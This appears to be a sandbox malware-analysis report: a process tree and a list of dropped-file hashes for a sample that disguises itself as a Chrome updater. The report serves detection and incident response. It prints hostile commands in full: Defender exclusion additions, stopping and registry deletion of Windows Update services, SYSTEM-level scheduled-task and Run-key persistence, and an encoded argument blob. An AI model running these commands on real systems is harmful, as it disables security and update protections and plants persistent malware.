C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3608
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4408
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3000 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC3⤵PID:4040
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3916
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵PID:228
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4256
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4084
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2892
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:388
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:5116
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2636
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:812
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:804
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:752
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1288
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:1340
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:544
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:2424
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4900
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:2996
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1944
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe zuhwtyqtfkk2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4716
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4540 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4804
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4600
-
-
C:\Program Files\Notepad\Chrome\updater.exe"C:\Program Files\Notepad\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4184 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4532
-
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeC:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe1⤵
- Executes dropped EXE
PID:4000
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeC:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe1⤵
- Executes dropped EXE
PID:2004
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
Filesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5e243a38635ff9a06c87c2a61a2200656
SHA1ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc
SHA256af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f
SHA5124418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4
-
Filesize
1KB
MD52881486cb622b49cd31ec765d5b27d95
SHA18875a180bf708b6c7b8eaafe00942919637994fc
SHA2562e8161c35f5311e9b8ed8439454451e83019ee609fd819b888999a67626bd94d
SHA512a1616f3c9826967fe0cb2bd1e74032c849c912a6ea5c7b3a272bd9d727a3ae6879968cfe296f25433b0bd3f7a1aa6eaa7fc013ef93a2fea2de09d57de7290dff
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
Filesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
Filesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
Filesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
Filesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
Filesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5